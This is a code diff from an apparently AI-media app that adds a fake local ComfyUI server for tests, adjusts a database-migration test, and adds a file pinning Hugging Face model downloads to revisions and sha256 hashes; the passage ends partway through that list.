+ busy?: boolean;
+ installed?: Record<string, { ver?: string; cnr_id?: string; aux_id?: string; enabled?: boolean }>;
+ /** cnr id or repo URL → traceback. */
+ importErrors?: Record<string, string>;
+ };
+ /** /system_stats answers a web page (ngrok's warning). */
+ html?: boolean;
+ /** /system_stats redirects here. */
+ redirect?: string;
+ /** Bodies are gzip-compressed whatever the client asked. */
+ gzip?: boolean;
+}
+
+export interface RecordedRequest {
+ method: string;
+ path: string;
+ headers: http.IncomingHttpHeaders;
+ body: string;
+}
+
+export interface FakeComfy {
+ url: string;
+ port: number;
+ requests: RecordedRequest[];
+ scenario: FakeScenario;
+ close(): Promise<void>;
+}
+
+const PT = /\.(ckpt|pt|pt2|bin|pth|safetensors|pkl|sft)$/i;
+const GB = 2 ** 30;
+
+function classInfo(s: FakeScenario, cls: string): Record<string, unknown> {
+ const inputs: Record<string, unknown> = {};
+ for (const [input, options] of Object.entries(s.combos?.[cls] ?? {})) inputs[input] = s.newCombos ? ["COMBO", { options }] : [options];
+ return { input: { required: inputs }, name: cls, display_name: cls, python_module: "nodes", category: "test", output: [] };
+}
+
+/** A scenario with everything these workflows of the requirement index need (classes, files, loader combos). */
+export function readyFor(
+ idx: { workflows: Record<string, { core: string[]; packs: Record<string, string[]>; files: string[] }>; files: Record<string, { folder: string; file: string; sizeBytes: number; loaders?: [string, string][] }>; folders: string[] },
+ ids: string[],
+ extra: Partial<FakeScenario> = {},
+): FakeScenario {
+ const files: Record<string, { name: string; size: number }[]> = {};
+ const combos: Record<string, Record<string, string[]>> = {};
+ const classes = new Set<string>();
+ for (const id of ids) {
+ const w = idx.workflows[id];
+ w.core.forEach((c) => classes.add(c));
+ Object.values(w.packs).forEach((cs) => cs.forEach((c) => classes.add(c)));
+ for (const k of w.files) {
+ const f = idx.files[k];
+ (files[f.folder] ??= []).push({ name: f.file, size: f.sizeBytes });
+ for (const [cls, input] of f.loaders ?? []) ((combos[cls] ??= {})[input] ??= []).push(f.file);
+ }
+ }
+ const packFolders = ["mmaudio", "foley", "thinksound", "insightface", "facerestore_models"];
+ return { classes: [...classes], files, combos, folders: idx.folders.filter((f) => !packFolders.includes(f)), ...extra };
+}
+
+export async function startFakeComfy(scenario: FakeScenario, port = 0): Promise<FakeComfy> {
+ const requests: RecordedRequest[] = [];
+ const s = scenario;
+ const server = http.createServer((req, res) => {
+ let body = "";
+ req.on("data", (c) => (body += c));
+ req.on("end", () => {
+ const url = new URL(req.url ?? "/", "http://x");
+ let path = decodeURIComponent(url.pathname);
+ requests.push({ method: req.method ?? "GET", path: url.pathname + url.search, headers: req.headers, body });
+ if (s.apiPrefixOnly) {
+ if (!path.startsWith("/api/")) return void res.writeHead(404).end("Not found");
+ path = path.slice(4);
+ } else if (path.startsWith("/api/")) path = path.slice(4);
+ if (s.auth && req.headers[s.auth.header.toLowerCase()] !== s.auth.value) return void res.writeHead(401).end("Unauthorized");
+ const send = (status: number, data: unknown, type = "application/json") => {
+ const raw = Buffer.from(typeof data === "string" && type !== "application/json" ? data : JSON.stringify(data));
+ const headers: Record<string, string> = { "Content-Type": type };
+ const out = s.gzip ? zlib.gzipSync(raw) : raw;
+ if (s.gzip) headers["Content-Encoding"] = "gzip";
+ headers["Content-Length"] = String(out.length);
+ const go = () => {
+ if (res.destroyed) return;
+ res.writeHead(status, headers);
+ res.end(out);
+ };
+ const wait = s.slow?.[path];
+ if (wait) setTimeout(go, wait);
+ else go();
+ };
+ if (s.drip?.includes(path)) {
+ res.writeHead(200, { "Content-Type": "application/json" });
+ const t = setInterval(() => (res.destroyed ? clearInterval(t) : res.write(" ")), 200);
+ res.on("close", () => clearInterval(t));
+ return;
+ }
+ const m = s.manager?.api ?? "none";
+ if (req.method === "GET") {
+ if (path === "/system_stats") {
+ if (s.redirect) return void res.writeHead(302, { Location: s.redirect }).end();
+ if (s.html) return send(200, "<html><body>You are about to visit…</body></html>", "text/html");
+ return send(200, {
+ system: {
+ os: s.os ?? "posix",
+ ram_total: (s.ramGb ?? 32) * GB,
+ ram_free: (s.ramGb ?? 32) * GB * 0.5,
+ comfyui_version: s.version ?? "0.41.2",
+ python_version: "3.12.9 (main)",
+ pytorch_version: "2.9.0+cu128",
+ embedded_python: !!s.embeddedPython,
+ deploy_environment: s.deployEnv ?? "local-git",
+ argv: s.argv ?? ["main.py"],
+ },
+ devices: (s.devices ?? [{ name: "cuda:0 NVIDIA GeForce RTX 4070 : cudaMallocAsync", type: "cuda", vramGb: 12 }]).map((d, index) => ({
+ name: d.name,
+ type: d.type,
+ index,
+ vram_total: d.vramGb * GB,
+ vram_free: d.vramGb * GB * 0.9,
+ })),
+ });
+ }
+ if (path === "/object_info") {
+ if (s.objectInfoStatus) return send(s.objectInfoStatus, { error: "no" });
+ const all: Record<string, unknown> = {};
+ for (const c of s.classes) all[c] = classInfo(s, c);
+ for (let i = 0, size = 0; size < (s.objectInfoPadBytes ?? 0); i++) {
+ const pad = { input: { required: { text: ["STRING", { default: "x".repeat(1000) }] } }, name: `Pad${i}` };
+ all[`Pad${i}`] = pad;
+ size += 1100;
+ }
+ return send(200, all);
+ }
+ const one = /^\/object_info\/(.+)$/.exec(path);
+ if (one) return send(200, s.classes.includes(one[1]) ? { [one[1]]: classInfo(s, one[1]) } : {});
+ const folders = s.folders ?? Object.keys(s.files ?? {});
+ if (path === "/models") return send(200, folders);
+ const list = /^\/models\/([^/]+)$/.exec(path);
+ if (list) return folders.includes(list[1]) ? send(200, (s.files?.[list[1]] ?? []).map((f) => f.name)) : send(404, { error: "not found" });
+ if (path === "/experiment/models") {
+ if (s.noExperiment) return send(404, { error: "not found" });
+ return send(200, folders.map((name) => ({ name, folders: s.roots?.[name] ?? [`/home/me/ComfyUI/models/${name}`] })));
+ }
+ const exp = /^\/experiment\/models\/([^/]+)$/.exec(path);
+ if (exp) {
+ if (s.noExperiment || !folders.includes(exp[1])) return send(404, { error: "not found" });
+ return send(200, (s.files?.[exp[1]] ?? []).filter((f) => PT.test(f.name)).map((f) => ({ name: f.name, pathIndex: 0, modified: 0, created: 0, size: f.size })));
+ }
+ if (path === "/features") return send(200, { supports_preview_metadata: true, extension: { manager: { supports_v4: true, ...(m === "v4" && { supports_csrf_post: true }) } } });
+ const pre = m === "v4" ? "/v2" : "";
+ if (m !== "none" && path === `${pre}/manager/version`) return send(200, s.manager?.version ?? (m === "v4" ? "V4.2.2" : "V3.42"), "text/plain");
+ if (m !== "none" && path === `${pre}/manager/queue/status`) return send(200, { total_count: 0, done_count: 0, in_progress_count: 0, pending_count: 0, is_processing: !!s.manager?.busy });
+ if (m !== "none" && path === `${pre}/customnode/installed`) return send(200, s.manager?.installed ?? {});
+ }
+ if (req.method === "POST") {
+ let json: Record<string, unknown> = {};
+ try {
+ json = body ? (JSON.parse(body) as Record<string, unknown>) : {};
+ } catch {}
+ if (m === "v4" && path === "/v2/customnode/import_fail_info_bulk") {
+ const out: Record<string, unknown> = {};
+ for (const k of [...((json.cnr_ids as string[]) ?? []), ...((json.urls as string[]) ?? [])]) out[k] = s.manager?.importErrors?.[k] ? { error: "import failed", traceback: s.manager.importErrors[k] } : null;
+ return send(200, out);
+ }
+ if (m === "v3" && path === "/customnode/import_fail_info") {
+ const k = (json.cnr_id ?? json.url) as string;
+ const tb = s.manager?.importErrors?.[k];
+ return tb ? send(200, { msg: "import failed", traceback: tb }) : send(400, { error: "no info" });
+ }
+ // Anything that would change the machine answers as ComfyUI would, so a test can see it was asked.
+ if (path === "/prompt" || path.startsWith("/upload")) return send(200, { prompt_id: "x" });
+ }
+ send(404, { error: "Not found" });
+ });
+ });
+ await new Promise<void>((r) => server.listen(port, "127.0.0.1", r));
+ const addr = server.address() as { port: number };
+ return {
+ url: `http://127.0.0.1:${addr.port}`,
+ port: addr.port,
+ requests,
+ scenario,
+ close: () =>
+ new Promise<void>((r) => {
+ server.closeAllConnections();
+ server.close(() => r());
+ }),
+ };
+}
diff --git a/tests/no-higgsfield.test.ts b/tests/no-higgsfield.test.ts
index 05b94d49..eb300f73 100644
--- a/tests/no-higgsfield.test.ts
+++ b/tests/no-higgsfield.test.ts
@@ -26,7 +26,7 @@ const { SOUL_LEGACY_IDS } = await import("@/lib/catalog/soul-looks.generated");
const { PROVIDER_SETTINGS } = await import("@/lib/connections");
const { PROVIDERS, provider, RETIRED_PROVIDER_ERROR } = await import("@/server/providers");
const { SETTINGS, getSetting, setSetting } = await import("@/server/settings");
-const { db } = await import("@/server/db");
+const { db, MIGRATIONS } = await import("@/server/db");
const { withCurrentModels } = await import("@/lib/catalog/canvas");
const generationsRoute = await import("@/app/api/generations/route");
const { currentRequest, ensureRunner, getGeneration, listGenerations, previewGeneration } = await import("@/server/generations");
@@ -538,7 +538,9 @@ describe("stored ids resolve where they are read", () => {
describe("the O7 migration", () => {
it("deletes the retired key, resets the provider choice and marks the ads drawn whole as baked", () => {
const d = db();
- const last = (d.prepare("SELECT MAX(id) AS id FROM _migrations").get() as { id: number }).id;
+ // The O7 migration by its content (later migrations follow it, and some of them can't run twice).
+ const last = MIGRATIONS.findIndex((m) => m.includes("DELETE FROM settings WHERE key = 'higgsfield.key'"));
+ expect(last).toBeGreaterThan(0);
// An install from before: rows the migration rewrites, then the migration runs again on the next open.
d.prepare("INSERT OR REPLACE INTO settings (key, value) VALUES ('higgsfield.key', 'id:secret'), ('cloud.provider', 'higgsfield')").run();
d.prepare("INSERT INTO ad_batches (id, brand_id, engine, route, model_id, created_at) VALUES ('b1', 'br', 'cloud', 'higgsfield', 'ads-studio', 1), ('b2', 'br', 'cloud', 'fuobe', 'nano-banana-pro', 2)").run();
diff --git a/workflows/comfyui/model-pins.json b/workflows/comfyui/model-pins.json
new file mode 100644
index 00000000..8639fe51
--- /dev/null
+++ b/workflows/comfyui/model-pins.json
@@ -0,0 +1,792 @@
+{
+ "https://huggingface.co/ATH-MaaS/OvisOCR3/resolve/main/model.safetensors": {
+ "revision": "4833d5d2afa6e769ee933f024504d67ace80a24c",
+ "sizeBytes": 1706030528,
+ "sha256": "aa2311c6b22b07cf3afe9aac6e8bcb02a2b19dd8671b2a91d0b144071577e600"
+ },
+ "https://huggingface.co/ByteZSzn/Flux.2-Turbo-ComfyUI/resolve/main/Flux_2-Turbo-LoRA_comfyui.safetensors": {
+ "revision": "57231752b9c5632e42911c73ee0ed138d381a6d4",
+ "sizeBytes": 2760814880,
+ "sha256": "011487390b8020baf22a9d543930c90d74a4809b7241bee6b0622777b17b413b"
+ },
+ "https://huggingface.co/Comfy-Org/Bernini-R/resolve/main/diffusion_models/wan2.2_bernini_r_high_noise_fp8_scaled.safetensors": {
+ "revision": "f7fd9812e54095d0c511d5e7429e6d8f6acc381a",
+ "sizeBytes": 15574833216,
+ "sha256": "9ff3d7369da98f8eaf71045f7d0e99d5e344eea5e7dc934a930608786fe73f52"
+ },
+ "https://huggingface.co/Comfy-Org/Bernini-R/resolve/main/diffusion_models/wan2.2_bernini_r_low_noise_fp8_scaled.safetensors": {
+ "revision": "f7fd9812e54095d0c511d5e7429e6d8f6acc381a",
+ "sizeBytes": 15574833216,
+ "sha256": "ce35c070f345c91abe43d6bf29b0eccb8687e4026fadc0e0a70a73c9afb7bbb3"
+ },
+ "https://huggingface.co/Comfy-Org/BiRefNet/resolve/main/background_removal/birefnet.safetensors": {
+ "revision": "884af709e9b795d89dafbf97f29c8d6a2386f5c6",
+ "sizeBytes": 444473596,
+ "sha256": "9ab37426bf4de0567af6b5d21b16151357149139362e6e8992021b8ce356a154"
+ },
+ "https://huggingface.co/Comfy-Org/Depth-Anything-3/resolve/main/geometry_estimation/depth_anything_3_mono_large.safetensors": {
+ "revision": "8265be070134dc7459217308cdc03109bde199b0",
+ "sizeBytes": 1336748056,
+ "sha256": "9b44eda5bedba5b4e125686fdb79d1db309c1b9785277576eb930f885b008f96"
+ },
+ "https://huggingface.co/Comfy-Org/FLUX.1-Krea-dev_ComfyUI/resolve/main/split_files/diffusion_models/flux1-krea-dev_fp8_scaled.safetensors": {
+ "revision": "d9d7c421e64d3a80b16a79c0fdc9989bfdaa6f01",
+ "sizeBytes": 11904639672,
+ "sha256": "b17a8c21703c4d6ffb0e300dd920eff3cfd35c9a72a1abaf107e3788e408b8d8"
+ },
+ "https://huggingface.co/Comfy-Org/Frame-Interpolation/resolve/main/frame_interpolation/film_net_fp16.safetensors": {
+ "revision": "aa7009be4d1471ea0bac91d6fe4d7e4b637cbbfc",
+ "sizeBytes": 68882302,
+ "sha256": "f226e51375dc839d4b40e5c3d63da560dd1ea1c962364ec78f5adf2d05db05c0"
+ },
+ "https://huggingface.co/Comfy-Org/HiDream-I1_ComfyUI/resolve/main/split_files/diffusion_models/hidream_i1_dev_fp8.safetensors": {
+ "revision": "942970a008493fc9bf05b4827374009e69f6a993",
+ "sizeBytes": 17105946040,
+ "sha256": "9a372d7384d56e34a8cc7fd77a0fa3d26d6b75d82c7582fd5347e2fd9e6f8664"
+ },
+ "https://huggingface.co/Comfy-Org/HiDream-I1_ComfyUI/resolve/main/split_files/text_encoders/clip_g_hidream.safetensors": {
+ "revision": "942970a008493fc9bf05b4827374009e69f6a993",
+ "sizeBytes": 1389743104,
+ "sha256": "3771e70e36450e5199f30bad61a53faae85a2e02606974bcda0a6a573c0519d5"
+ },
+ "https://huggingface.co/Comfy-Org/HiDream-I1_ComfyUI/resolve/main/split_files/text_encoders/clip_l_hidream.safetensors": {
+ "revision": "942970a008493fc9bf05b4827374009e69f6a993",
+ "sizeBytes": 247586528,
+ "sha256": "706fdb88e22e18177b207837c02f4b86a652abca0302821f2bfa24ac6aea4f71"
+ },
+ "https://huggingface.co/Comfy-Org/HiDream-I1_ComfyUI/resolve/main/split_files/text_encoders/llama_3.1_8b_instruct_fp8_scaled.safetensors": {
+ "revision": "942970a008493fc9bf05b4827374009e69f6a993",
+ "sizeBytes": 9081258056,
+ "sha256": "9f86897bbeb933ef4fd06297740edb8dd962c94efcd92b373a11460c33765ea6"
+ },
+ "https://huggingface.co/Comfy-Org/HiDream-I1_ComfyUI/resolve/main/split_files/text_encoders/t5xxl_fp8_e4m3fn_scaled.safetensors": {
+ "revision": "942970a008493fc9bf05b4827374009e69f6a993",
+ "sizeBytes": 5157348688,
+ "sha256": "a498f0485dc9536735258018417c3fd7758dc3bccc0a645feaa472b34955557a"
+ },
+ "https://huggingface.co/Comfy-Org/HiDream-I1_ComfyUI/resolve/main/split_files/vae/ae.safetensors": {
+ "revision": "942970a008493fc9bf05b4827374009e69f6a993",
+ "sizeBytes": 335304388,
+ "sha256": "afc8e28272cd15db3919bacdb6918ce9c1ed22e96cb12c4d5ed0fba823529e38"
+ },
+ "https://huggingface.co/Comfy-Org/HunyuanVideo_1.5_repackaged/resolve/main/split_files/diffusion_models/hunyuanvideo1.5_720p_i2v_fp16.safetensors": {
+ "revision": "1405a2b738c29b890cf6d03fc038d8d3e92eeed7",
+ "sizeBytes": 16653368128,
+ "sha256": "96883b154e4231e6106515bdef53a091085d5821518c387eb28609fde77e4bf1"
+ },
+ "https://huggingface.co/Comfy-Org/HunyuanVideo_1.5_repackaged/resolve/main/split_files/diffusion_models/hunyuanvideo1.5_720p_t2v_fp16.safetensors": {
+ "revision": "1405a2b738c29b890cf6d03fc038d8d3e92eeed7",
+ "sizeBytes": 16653368128,
+ "sha256": "4f05e2a31b51b7ddee3ef336d234e0932001cbdc85887da15451069fda3e1d05"
+ },
+ "https://huggingface.co/Comfy-Org/HunyuanVideo_1.5_repackaged/resolve/main/split_files/text_encoders/byt5_small_glyphxl_fp16.safetensors": {
+ "revision": "1405a2b738c29b890cf6d03fc038d8d3e92eeed7",
+ "sizeBytes": 438643184,
+ "sha256": "516910bb4c9b225370290e40585d1b0e6c8cd3583690f7eec2f7fb593990fb48"
+ },
+ "https://huggingface.co/Comfy-Org/HunyuanVideo_1.5_repackaged/resolve/main/split_files/text_encoders/qwen_2.5_vl_7b_fp8_scaled.safetensors": {
+ "revision": "1405a2b738c29b890cf6d03fc038d8d3e92eeed7",
+ "sizeBytes": 9384670680,
+ "sha256": "cb5636d852a0ea6a9075ab1bef496c0db7aef13c02350571e388aea959c5c0b4"
+ },
+ "https://huggingface.co/Comfy-Org/HunyuanVideo_1.5_repackaged/resolve/main/split_files/vae/hunyuanvideo15_vae_fp16.safetensors": {
+ "revision": "1405a2b738c29b890cf6d03fc038d8d3e92eeed7",
+ "sizeBytes": 2521292758,
+ "sha256": "e7c3091949c27e2d55ae6d5df917b99dadfebbf308e5a50d0ade0d16c90297ae"
+ },
+ "https://huggingface.co/Comfy-Org/Krea-2/resolve/main/diffusion_models/krea2_turbo_int8_convrot.safetensors": {
+ "revision": "1171f4dc7e325bf3734586942e737872506c73e1",
+ "sizeBytes": 13492686496,
+ "sha256": "8e4eeda70dd5037ab1ba2bef6b417f9f901e26093117cf397f741fc1fdaaf3f1"
+ },
+ "https://huggingface.co/Comfy-Org/Krea-2/resolve/main/loras/krea2_style_reference.safetensors": {
+ "revision": "1171f4dc7e325bf3734586942e737872506c73e1",
+ "sizeBytes": 457111760,
+ "sha256": "f50df5a9e62e4be8aa926a63dd5bb1a64770c4004f763c1208007ae13daa82b8"
+ },
+ "https://huggingface.co/Comfy-Org/Krea-2/resolve/main/text_encoders/qwen3vl_4b_fp8_scaled.safetensors": {
+ "revision": "1171f4dc7e325bf3734586942e737872506c73e1",
+ "sizeBytes": 5242467968,
+ "sha256": "54bd5144df0bbc25dd6ccadfcb826b521445a1b06ae5a42570bdd2974ca87094"
+ },
+ "https://huggingface.co/Comfy-Org/Lumina_Image_2.0_Repackaged/resolve/main/split_files/vae/ae.safetensors": {
+ "revision": "5b072540ef86570fecb8249c505f23d5bdeb88cd",
+ "sizeBytes": 335304388,
+ "sha256": "afc8e28272cd15db3919bacdb6918ce9c1ed22e96cb12c4d5ed0fba823529e38"
+ },
+ "https://huggingface.co/Comfy-Org/MiniMax-H3/resolve/1c41cfca8ebba91d0af792a05c5761fb2c3a7975/diffusion_models/minimax_h3_ref2va_pruned_int8_convrot.safetensors": {
+ "revision": "1c41cfca8ebba91d0af792a05c5761fb2c3a7975",
+ "sizeBytes": 20970379616,
+ "sha256": "9255f52b6677845ad238f20dfaafa94727053694127ab7f255c048f0f9365779"
+ },
+ "https://huggingface.co/Comfy-Org/MiniMax-H3/resolve/1c41cfca8ebba91d0af792a05c5761fb2c3a7975/text_encoders/qwen3vl_32b_minimax_h3_nvfp4_awq.safetensors": {
+ "revision": "1c41cfca8ebba91d0af792a05c5761fb2c3a7975",
+ "sizeBytes": 15687142551,
+ "sha256": "35a88d51044231fe332301d7a62aa81e3f2cba62febeb446e2c1e3e0ef76f2c6"
+ },
+ "https://huggingface.co/Comfy-Org/MiniMax-H3/resolve/1c41cfca8ebba91d0af792a05c5761fb2c3a7975/vae/minimax_h3_audio_vae_fp32.safetensors": {
+ "revision": "1c41cfca8ebba91d0af792a05c5761fb2c3a7975",
+ "sizeBytes": 605254808,
+ "sha256": "8e505d95dd1561d47abd43d4238fd40d9bb1ae9e147ed0a4cba778d76ae4db48"
+ },
+ "https://huggingface.co/Comfy-Org/MiniMax-H3/resolve/1c41cfca8ebba91d0af792a05c5761fb2c3a7975/vae/minimax_h3_video_vae_fp16.safetensors": {
+ "revision": "1c41cfca8ebba91d0af792a05c5761fb2c3a7975",
+ "sizeBytes": 5207808496,
+ "sha256": "7c1f131492e7eddacaac9069a61b81bdd39de5cc96561e677c5eab1cdce5e522"
+ },
+ "https://huggingface.co/Comfy-Org/MoGe/resolve/main/geometry_estimation/moge_2_vitl_normal_fp16.safetensors": {
+ "revision": "1484985258ba7ef45c314144fcf0e90924ffbf44",
+ "sizeBytes": 661859924,
+ "sha256": "cb1a692d03235671e959e81360d7b4d9f44aefadb1f852d6ca6aa17799d5e31f"
+ },
+ "https://huggingface.co/Comfy-Org/Pixal3D/resolve/main/clip_vision/dino_v3_L_naf_fp32.safetensors": {
+ "revision": "f37641be376725d324c56626007cc477f1249a69",
+ "sizeBytes": 1215214176,
+ "sha256": "4ad2ec4e0879a5b5b04cd97325cc37da954a7b6edca5170b86510f17f2b2290f"
+ },
+ "https://huggingface.co/Comfy-Org/Pixal3D/resolve/main/diffusion_models/pixal3d_int8_convrot.safetensors": {
+ "revision": "f37641be376725d324c56626007cc477f1249a69",
+ "sizeBytes": 5584555824,
+ "sha256": "4621eac3b715484f79303c7152af641fe0b2b14f4d0e3d394fd6922d00f955ec"
+ },
+ "https://huggingface.co/Comfy-Org/Pixal3D/resolve/main/diffusion_models/pixal3d_multiview_int8_convrot.safetensors": {
+ "revision": "f37641be376725d324c56626007cc477f1249a69",
+ "sizeBytes": 5584555824,
+ "sha256": "6b1eb3328930d921d3b57508d9c46cceec1c174dcedeebc14f176ab67d49f477"
+ },
+ "https://huggingface.co/Comfy-Org/Pixal3D/resolve/main/vae/trellis_2_shape_vae_bf16.safetensors": {
+ "revision": "f37641be376725d324c56626007cc477f1249a69",
+ "sizeBytes": 1095844024,
+ "sha256": "de0cb4949a76c59ee5c091a995a69bcc8c51d5aeda939f0c641a50d2a72341f4"
+ },
+ "https://huggingface.co/Comfy-Org/Pixal3D/resolve/main/vae/trellis_2_texture_vae_bf16.safetensors": {
+ "revision": "f37641be376725d324c56626007cc477f1249a69",
+ "sizeBytes": 948461364,
+ "sha256": "714e5ebf094a610e12a8e3b5175c18a62f37f6ea4218acb6073644456b73ab0e"
+ },
+ "https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI/resolve/main/split_files/diffusion_models/qwen_image_edit_2509_fp8_e4m3fn.safetensors": {
+ "revision": "f68ace85e60b4a02a323e394253731947657b7d2",
+ "sizeBytes": 20430698424,
+ "sha256": "318568f61951ab9da21100c7b896e3c1da67f0d2efad6421545e022cfaa2b2b4"
+ },
+ "https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI/resolve/main/split_files/diffusion_models/qwen_image_edit_2511_fp8mixed.safetensors": {
+ "revision": "f68ace85e60b4a02a323e394253731947657b7d2",
+ "sizeBytes": 20533762817,
+ "sha256": "c9fdc158e46d3b61ef75f21ae866ca2fe808bf4a53643120d1c1e87c19280a4e"
+ },
+ "https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI/resolve/main/split_files/loras/Qwen-Image-Edit-2509-Light-Migration.safetensors": {
+ "revision": "f68ace85e60b4a02a323e394253731947657b7d2",
+ "sizeBytes": 236117032,
+ "sha256": "202d76cfbf0f8e670154ef300b0f28e4a4bfdb94dd91a535f6ab73769314ae3f"
+ },
+ "https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI/resolve/main/split_files/loras/Qwen-Image-Edit-2509-Relight.safetensors": {
+ "revision": "f68ace85e60b4a02a323e394253731947657b7d2",
+ "sizeBytes": 236117032,
+ "sha256": "2a11c2b74ce0965abf35a8c8db52305072e970a689ca904b5a5b5a94d0aab86c"
+ },
+ "https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI/resolve/main/split_files/loras/Qwen-Image-Edit-2509-White_to_Scene.safetensors": {
+ "revision": "f68ace85e60b4a02a323e394253731947657b7d2",
+ "sizeBytes": 236117032,
+ "sha256": "96a10c01869ce8ce82f820f8217881d4a998487b1058eb3057a33c74419645f8"
+ },
+ "https://huggingface.co/Comfy-Org/Qwen-Image-Layered_ComfyUI/resolve/main/split_files/diffusion_models/qwen_image_layered_fp8mixed.safetensors": {
+ "revision": "02130716aaf54a36f84c9fcfa8a373ab06284e2b",
+ "sizeBytes": 20533591821,
+ "sha256": "e68c406b1bc08c97382a46dce6ed46699bc18a0f50422d97952ee4e8b63ad50a"
+ },
+ "https://huggingface.co/Comfy-Org/Qwen-Image-Layered_ComfyUI/resolve/main/split_files/vae/qwen_image_layered_vae.safetensors": {
+ "revision": "02130716aaf54a36f84c9fcfa8a373ab06284e2b",
+ "sizeBytes": 253816616,
+ "sha256": "c5320595fc61859ccdd0282184208f7b781c983b8ce4c6bc3e7723a807d3d28d"
+ },
+ "https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI/resolve/main/split_files/diffusion_models/qwen_image_2512_fp8_e4m3fn.safetensors": {
+ "revision": "1f12b17be14c89b026c51a91d67c32f84bb047bc",
+ "sizeBytes": 20430679144,
+ "sha256": "5dc80554d5d83390046a2f4a94ece06afb7700bf7b0aaf8bde9769793875876b"
+ },
+ "https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI/resolve/main/split_files/text_encoders/qwen_2.5_vl_7b_fp8_scaled.safetensors": {
+ "revision": "1f12b17be14c89b026c51a91d67c32f84bb047bc",
+ "sizeBytes": 9384670680,
+ "sha256": "cb5636d852a0ea6a9075ab1bef496c0db7aef13c02350571e388aea959c5c0b4"
+ },
+ "https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI/resolve/main/split_files/vae/qwen_image_vae.safetensors": {
+ "revision": "1f12b17be14c89b026c51a91d67c32f84bb047bc",
+ "sizeBytes": 253806246,
+ "sha256": "a70580f0213e67967ee9c95f05bb400e8fb08307e017a924bf3441223e023d1f"
+ },
+ "https://huggingface.co/Comfy-Org/Qwen3.5/resolve/main/text_encoders/qwen3.5_4b_bf16.safetensors": {
+ "revision": "5d50a2252bf1bcd49e5fee9b5f296986d442682b",
+ "sizeBytes": 9319828320,
+ "sha256": "9fb3ae42003750fe2d16350259a3ec07761d6d13a8e2b244a6e22fa9d8050841"
+ },
+ "https://huggingface.co/Comfy-Org/Real-ESRGAN_repackaged/resolve/main/RealESRGAN_x4plus.safetensors": {
+ "revision": "5fd49b7b278836f48af63ecd314d0f98ab336105",
+ "sizeBytes": 66857836,
+ "sha256": "37f9a931c215f040aa6d50f711f2cb115f713c46df1d0d6469a8bd7bfe9a60bb"
+ },
+ "https://huggingface.co/Comfy-Org/SeedVR2/resolve/main/diffusion_models/seedvr2_3b_int8_convrot.safetensors": {
+ "revision": "df48879708206a403d2a61acd55578c2e80fd233",
+ "sizeBytes": 3458259704,
+ "sha256": "c3dec8bcc5916843a8a858572970597462e1f2dc598d6dfd818f6cd40f53a157"
+ },
+ "https://huggingface.co/Comfy-Org/SeedVR2/resolve/main/diffusion_models/seedvr2_7b_int8_convrot.safetensors": {
+ "revision": "df48879708206a403d2a61acd55578c2e80fd233",
+ "sizeBytes": 8334897976,
+ "sha256": "5aa0d25fc9d35e449b659d0c9a5dcb22e2a4fa04032101b95a39da42b32c1be6"
+ },
+ "https://huggingface.co/Comfy-Org/SeedVR2/resolve/main/vae/seedvr2_ema_vae_fp16.safetensors": {
+ "revision": "df48879708206a403d2a61acd55578c2e80fd233",
+ "sizeBytes": 501324814,
+ "sha256": "20678548f420d98d26f11442d3528f8b8c94e57ee046ef93dbb7633da8612ca1"
+ },
+ "https://huggingface.co/Comfy-Org/TRELLIS.2/resolve/main/diffusion_models/trellis_2_int8_convrot.safetensors": {
+ "revision": "430a9d09b2416687018c8fe8edced2ad4858a439",
+ "sizeBytes": 5253048192,
+ "sha256": "d01952ad137213f6a868f86b6b877026276f84af5eec23069217475a0bad3a31"
+ },
+ "https://huggingface.co/Comfy-Org/USO_1.0_Repackaged/resolve/main/split_files/loras/uso-flux1-dit-lora-v1.safetensors": {
+ "revision": "5665f4249983d8a7ebae0de7afe2070887b0397c",
+ "sizeBytes": 478187816,
+ "sha256": "a03fa8430997f1c371c2471b133bdc03433a50564e0a29c096217077b0309e41"
+ },
+ "https://huggingface.co/Comfy-Org/USO_1.0_Repackaged/resolve/main/split_files/model_patches/uso-flux1-projector-v1.safetensors": {
+ "revision": "5665f4249983d8a7ebae0de7afe2070887b0397c",
+ "sizeBytes": 21548200,
+ "sha256": "9a0dfcd6644e3acaf6995625562ab0af1f9cf048bf739c7e5822ee106fb44311"
+ },
+ "https://huggingface.co/Comfy-Org/Wan-Animate-2/resolve/main/clip_vision/clip_vision_h.safetensors": {
+ "revision": "e7181fe1896b7f2ce34120d1a3663413548240d7",
+ "sizeBytes": 1264219396,
+ "sha256": "64a7ef761bfccbadbaa3da77366aac4185a6c58fa5de5f589b42a65bcc21f161"
+ },
+ "https://huggingface.co/Comfy-Org/Wan-Animate-2/resolve/main/diffusion_models/wan_animate_2_int8_convrot.safetensors": {
+ "revision": "e7181fe1896b7f2ce34120d1a3663413548240d7",
+ "sizeBytes": 16653175528,
+ "sha256": "0580ecdd65e47e97c30df9670d13a6c4a131d26de5a1faf2ccc78392d5167584"
+ },
+ "https://huggingface.co/Comfy-Org/Wan-Animate-2/resolve/main/loras/lightx2v_I2V_14B_480p_cfg_step_distill_rank64_bf16.safetensors": {
+ "revision": "e7181fe1896b7f2ce34120d1a3663413548240d7",
+ "sizeBytes": 738005744,
+ "sha256": "85c4a61c30e0497aa44b91d93a893b624708461a56fe5485183b28fa07e2dfb3"
+ },
+ "https://huggingface.co/Comfy-Org/Wan-Animate-2/resolve/main/text_encoders/umt5_xxl_fp8_e4m3fn_scaled.safetensors": {
+ "revision": "e7181fe1896b7f2ce34120d1a3663413548240d7",
+ "sizeBytes": 6735906897,
+ "sha256": "c3355d30191f1f066b26d93fba017ae9809dce6c627dda5f6a66eaa651204f68"
+ },
+ "https://huggingface.co/Comfy-Org/Wan-Animate-2/resolve/main/vae/Wan2_1_VAE_bf16.safetensors": {
+ "revision": "e7181fe1896b7f2ce34120d1a3663413548240d7",
+ "sizeBytes": 253806278,
+ "sha256": "1ab9a32cc2c740f6e39d80d367ce5dcc28db8c71b79b28670546b8973e9d75f9"
+ },
+ "https://huggingface.co/Comfy-Org/Wan_2.1_ComfyUI_repackaged/resolve/main/split_files/clip_vision/clip_vision_h.safetensors": {
+ "revision": "123acf1cc74bccbb9bfff8ac1ee72edc08c2341d",
+ "sizeBytes": 1264219396,
